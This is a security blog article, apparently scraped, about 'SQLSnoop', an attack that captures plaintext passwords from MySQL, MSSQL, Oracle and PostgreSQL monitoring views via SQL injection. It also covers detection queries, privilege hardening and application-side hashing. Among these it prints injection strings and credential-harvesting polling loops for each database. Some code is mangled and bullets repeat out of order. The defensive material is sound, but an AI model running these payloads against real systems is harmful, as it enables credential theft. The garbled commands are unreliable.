Listen to this Post

Introduction:
Traditional wisdom says hashing passwords inside the database protects credentials even if an SQL injection exists. SQLSnoop shatters that assumption by exploiting a micro-second window where plaintext passwords exist in memory before hash functions execute. This secondary attack technique turns standard monitoring views–meant for performance tuning–into credential sniffers, achieving up to 100% success on modern multi-core MySQL instances.
Learning Objectives:
- Understand how SQLSnoop uses DBMS monitoring views to capture plaintext credentials during SQL statement execution
- Learn to exploit and detect this attack across MySQL, MSSQL, Oracle, and PostgreSQL platforms
- Implement defensive coding patterns and database privilege restrictions to eliminate plaintext exposure
You Should Know
- The Anatomy of SQLSnoop: From Injection to Plaintext Capture
SQLSnoop requires an existing SQL injection point that allows stacked queries or UNION-based payloads. The attacker injects a polling loop that repeatedly queries the DBMS’s process list, filtering for any SQL statement containing hash function calls like `MD5()` or SHA2(). When a victim logs in, their query appears in the monitoring view for milliseconds–long enough for the attacker’s loop to read the raw arguments.
Step‑by‑step guide – MySQL exploitation simulation:
- Identify a vulnerable input (e.g., a login form with
' OR 1=1 --). - Inject the SQLSnoop polling payload (uses `information_schema.processlist` and a loop via `BENCHMARK` or `SLEEP` inside a procedure):
-- Attacker creates a stored procedure to poll continuously DELIMITER $$ CREATE PROCEDURE SQLSnoopPoll() BEGIN DECLARE done INT DEFAULT FALSE; DECLARE raw_query TEXT; DECLARE cur CURSOR FOR SELECT INFO FROM information_schema.PROCESSLIST WHERE INFO LIKE '%MD5(%' AND INFO NOT LIKE '%SQLSnoopPoll%'; DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = TRUE;</li> </ol> WHILE done = FALSE DO OPEN cur; read_loop: LOOP FETCH cur INTO raw_query; IF done THEN LEAVE read_loop; END IF; -- Insert captured plaintext into attacker's table INSERT INTO attacker_log VALUES (NOW(), raw_query); END LOOP; CLOSE cur; DO SLEEP(0.01); -- Poll every 10ms END WHILE; END$$ DELIMITER ; -- Trigger the poller via SQL injection CALL SQLSnoopPoll();
- Wait for a victim login – when the application runs
INSERT INTO users VALUES ('alice', MD5('Secret123')), the polling procedure captures the raw query before MD5 executes. - Extract plaintext from
attacker_log. On MySQL with ≥1.2 vCPU cores, success rate hits 100% due to parallel execution windows.
What this does: The attack bypasses cryptographic hashing by reading the plaintext argument before the hash function runs, exploiting the in-memory visibility of active SQL statements.
- Exploiting MySQL: Achieving 100% Success on Multi‑Core Systems
The paper’s quantitative evaluation shows that MySQL systems with 1.2+ virtual CPU cores reach 100% capture success because the attacker’s polling thread and victim’s login thread can run concurrently. Lower core counts still exceed 90% success across versions 5.7, 8.0, and 8.4.
Step‑by‑step guide – testing and detection:
- Check your MySQL CPU core count (Linux command):
lscpu | grep -E '^CPU(s)|^Thread|^Core'
-
Simulate a vulnerable login script (Python + MySQL):
import hashlib import mysql.connector</p></li> </ol> <p>def insecure_login(username, password): conn = mysql.connector.connect(user='app', password='app', database='test') cursor = conn.cursor() VULNERABLE: string concatenation, and hash inside SQL query = f"INSERT INTO logins VALUES ('{username}', MD5('{password}'))" cursor.execute(query) conn.commit()- Simulate the attacker polling (same SQL as step 1, but using `UNION` payload):
-- Injected via a GET parameter: ' UNION SELECT SLEEP(0.1), INFO FROM information_schema.PROCESSLIST WHERE INFO LIKE '%MD5(%' --
-
Detect such polling by looking for rapid, repeated queries to `information_schema.PROCESSLIST` with sleep intervals:
-- Hunt for suspicious loops SELECT FROM sys.statement_analysis WHERE query LIKE '%PROCESSLIST%' AND query LIKE '%SLEEP%' AND exec_count > 100 IN 5 SECONDS;
Mitigation: Never compute hashes inside SQL statements. Hash passwords in application code (e.g.,
hashlib.sha256(password.encode()).hexdigest()) before sending them to the database.3. Expanding to MSSQL: Using sys.dm_exec_requests and sys.dm_exec_sql_text
Microsoft SQL Server exposes current queries through Dynamic Management Views (DMVs). SQLSnoop works similarly but requires higher privileges (VIEW SERVER STATE). The attacker injects a T‑SQL loop that polls `sys.dm_exec_requests` and retrieves SQL text via
sys.dm_exec_sql_text.Step‑by‑step guide – MSSQL implementation:
- Ensure injection point allows stacked queries (e.g.,
; WAITFOR DELAY '0:0:1' --). - Inject the polling loop (uses `WHILE` and
WAITFOR):-- Attacker payload (injected) DECLARE @query NVARCHAR(MAX); WHILE 1=1 BEGIN SELECT TOP 1 @query = text FROM sys.dm_exec_requests r CROSS APPLY sys.dm_exec_sql_text(r.sql_handle) t WHERE t.text LIKE '%HASHBYTES%' AND t.text NOT LIKE '%WHILE%1=1%';</li> </ol> IF @query IS NOT NULL INSERT INTO attacker_capture VALUES (GETDATE(), @query); WAITFOR DELAY '00:00:00.010'; -- 10ms polling END
3. Victim login example (vulnerable):
-- Application runs this on login INSERT INTO users VALUES ('bob', HASHBYTES('SHA2_256', 'MyP@ssw0rd'));- Extract plaintext from `attacker_capture` table – the string `’MyP@ssw0rd’` appears before `HASHBYTES` runs.
Limitations: Requires `VIEW SERVER STATE` permission. However, many legacy applications grant this to the web app user. Restrict by revoking unnecessary permissions:
REVOKE VIEW SERVER STATE FROM webapp_user;
4. Oracle and PostgreSQL Counterparts: v$sql and pg_stat_activity
Both Oracle and PostgreSQL expose active SQL through system views, making them vulnerable. Oracle’s `v$sql` retains completed queries for a short duration, while PostgreSQL’s `pg_stat_activity` shows currently running statements.
Step‑by‑step guide – Oracle (PL/SQL injection):
- Inject a loop using `DBMS_LOCK.SLEEP` (requires `EXECUTE` on DBMS_LOCK):
DECLARE v_sql_text VARCHAR2(4000); BEGIN LOOP SELECT sql_fulltext INTO v_sql_text FROM v$sql WHERE sql_fulltext LIKE '%STANDARD_HASH(%' AND sql_fulltext NOT LIKE '%v$sql%' AND ROWNUM = 1;</li> </ol> INSERT INTO attacker_log VALUES (SYSDATE, v_sql_text); COMMIT; DBMS_LOCK.SLEEP(0.01); END LOOP; END; /
Step‑by‑step guide – PostgreSQL (using `pg_sleep`):
-- Injected via UNION or DO block DO $$ DECLARE rec RECORD; BEGIN LOOP FOR rec IN SELECT query FROM pg_stat_activity WHERE query LIKE '%digest(%' AND query NOT LIKE '%pg_stat_activity%' LOOP INSERT INTO attacker_capture VALUES (now(), rec.query); END LOOP; PERFORM pg_sleep(0.01); END LOOP; END $$;
Defense for both: Revoke direct access to monitoring views from application database users. Use dedicated monitoring accounts with strict IP whitelisting.
5. Mitigation: Parameterized Queries and Application‑Side Hashing
The root cause is not SQL injection alone–it is the combination of injection plus in‑database hashing. Even without injection, an attacker who gains limited SQL access (e.g., through a reporting feature) could still poll monitoring views. The only complete fix is to move hashing to the application layer.
Step‑by‑step guide – secure implementation (Python + MySQL):
import hashlib import secrets from mysql.connector import pooling def secure_register(username, password): Generate random salt (16 bytes) salt = secrets.token_hex(16) Hash password with salt using 100,000 iterations of PBKDF2 hashed = hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), 100000) Combine salt and hash (store as hex) stored_value = salt + ':' + hashed.hex() Use parameterized query – no plaintext password ever reaches DBMS as SQL argument cursor.execute( "INSERT INTO users (username, password_hash) VALUES (%s, %s)", (username, stored_value) )Why this defeats SQLSnoop: The plaintext password never appears inside a SQL statement. The monitoring view sees only the hex string of the already‑hashed password. Even with SQL injection, there is nothing to capture.
Windows command to test application behavior (monitor SQL traffic):
Use SQL Server Profiler or Extended Events (MSSQL) Or enable MySQL general log temporarily SET GLOBAL general_log = 'ON'; SET GLOBAL log_output = 'TABLE'; Then check mysql.general_log table for any plaintext credentials
6. Hunting for SQLSnoop: Detecting Suspicious Polling Queries
Blue teams can identify SQLSnoop activity by monitoring for rapid, repetitive queries to process list views with short sleep intervals. Use database audit logs, SIEM queries, and network‑level detection.
Step‑by‑step detection guide:
1. MySQL – detect polling behavior (query `performance_schema.events_statements_summary_by_digest`):
SELECT DIGEST_TEXT, COUNT_STAR, AVG_TIMER_WAIT/1000000000 AS avg_ms FROM performance_schema.events_statements_summary_by_digest WHERE DIGEST_TEXT LIKE '%information_schema.processlist%' ORDER BY COUNT_STAR DESC;
Look for thousands of executions in a short time with very short average wait times (e.g., 10–20ms).
- Linux command to monitor MySQL process list frequency (watch every second, look for bursts):
watch -1 1 'mysql -e "SHOW PROCESSLIST" | grep -c "SQLSnoop|SLEEP|PROCESSLIST"'
3. Windows PowerShell script for MSSQL detection:
$query = @" SELECT [bash], execution_count, last_execution_time FROM sys.dm_exec_query_stats CROSS APPLY sys.dm_exec_sql_text(sql_handle) WHERE [bash] LIKE '%dm_exec_requests%' AND [bash] LIKE '%WAITFOR%' ORDER BY execution_count DESC "@ Invoke-Sqlcmd -ServerInstance "localhost" -Query $query
- Network‑based detection – SQL injection payloads often contain repeated
SLEEP/WAITFORcalls. Use a Wireshark filter for TDS (MSSQL) or MySQL protocol:mysql.query contains "SLEEP" or mysql.query contains "PROCESSLIST"
5. SIEM rule example (pseudo‑Sigma):
detection: selection: dbms.query: - "PROCESSLIST" - "dm_exec_requests" - "pg_stat_activity" dbms.query|contains: - "SLEEP" - "WAITFOR" frequency: >10 per 5 seconds condition: selection
- Hardening: Removing Superfluous Monitoring Permissions and Using Least Privilege
Many DBMS installations grant `PROCESS` (MySQL), `VIEW SERVER STATE` (MSSQL), `SELECT ON v$sql` (Oracle), or `pg_read_all_stats` (PostgreSQL) to default application users. Revoke these unless absolutely required.
Step‑by‑step hardening per DBMS:
MySQL:
-- Check who has PROCESS privilege SELECT user, host FROM mysql.user WHERE process_priv = 'Y'; -- Revoke from web app user REVOKE PROCESS ON . FROM 'webapp'@'%'; -- Also revoke SELECT on information_schema (if possible) REVOKE SELECT ON information_schema. FROM 'webapp'@'%';
MSSQL:
-- Revoke VIEW SERVER STATE REVOKE VIEW SERVER STATE TO [bash]; -- Use server-level role membership sparingly ALTER SERVER ROLE MS_ServerStateReader DROP MEMBER [bash];
Oracle:
-- Revoke SELECT on v$sql REVOKE SELECT ON v_$sql FROM webapp_user; -- Remove role that grants dynamic performance view access REVOKE SELECT_CATALOG_ROLE FROM webapp_user;
PostgreSQL:
-- Revoke pg_read_all_stats role REVOKE pg_read_all_stats FROM webapp_user; -- Restrict pg_stat_activity visibility (requires superuser) ALTER SYSTEM SET track_activities = off; -- drastic, not recommended; instead use row-level security
Principle of least privilege: Application database accounts should only have
INSERT,UPDATE, `SELECT` on required tables, and no access to system views or process lists. Use a separate monitoring account for legitimate DBAs with strict source IP restrictions.What Undercode Say
Key Takeaway 1: Hashing inside SQL statements provides false security–the plaintext always exists in memory before the hash function executes, and any SQL injection or monitoring view access can capture it.
Key Takeaway 2: Multi‑core systems ironically make SQLSnoop more effective because concurrent execution increases the chance the attacker’s polling thread reads the victim’s query mid‑execution.
Analysis: The research fundamentally shifts how we think about defense‑in‑depth. Developers often rely on “hash on the database side” as a compensating control for missing application‑layer hashing. SQLSnoop shows this is equivalent to storing plaintext. The real fix is architectural: never send sensitive plaintext into the DBMS as part of a SQL statement. Parameterized queries alone do not solve this if the parameter value is still a plaintext password that the DBMS receives. Application‑layer hashing (using a strong KDF like Argon2 or PBKDF2) must happen before the data touches the SQL parser. Additionally, database hardening must restrict access to monitoring views – a lesson many cloud RDS defaults ignore. Expect to see CVEs for default configurations that grant `PROCESS` to all users. The 100% success rate on MySQL with ≥1.2 vCPUs is particularly alarming for production environments where multi‑core is standard. Blue teams should prioritize auditing for in‑database hash functions and implement anomaly detection for rapid polling of
information_schema. Finally, this technique lowers the barrier for SQL injection exploitation – attackers no longer need to crack hashes offline; they steal plaintext live.Prediction:
-1 Increased sophistication of SQL injection attacks – Traditional tooling (sqlmap) will incorporate SQLSnoop‑style polling, making post‑injection password harvesting nearly instantaneous.
-1 Regulatory scrutiny on database logging – Compliance frameworks (PCI‑DSS, HIPAA) may mandate that monitoring views exclude parameter values, forcing DBMS vendors to implement redaction.
+1 Rise of application‑side hashing frameworks – Expect OWASP and NIST to update guidance strongly deprecating database‑side hashing, pushing adoption of libraries like `libsodium` and `bcrypt` in web frameworks.
-1 Performance impact of mitigations – Revoking monitoring view access will break many legitimate monitoring tools (e.g., Datadog, New Relic), requiring re‑architecture of observability pipelines.
+1 New research into “hash‑before‑parse” database extensions – DBMS vendors may introduce functions like `SECURE_HASH()` that execute in a separate memory space not visible to process lists.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by ThousandsIT/Security Reporter URL:
Reported By: Flavioqueiroz Sql – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
📢 Follow UndercodeTesting & Stay Tuned:
- Linux command to monitor MySQL process list frequency (watch every second, look for bursts):
- Simulate the attacker polling (same SQL as step 1, but using `UNION` payload):
- Wait for a victim login – when the application runs


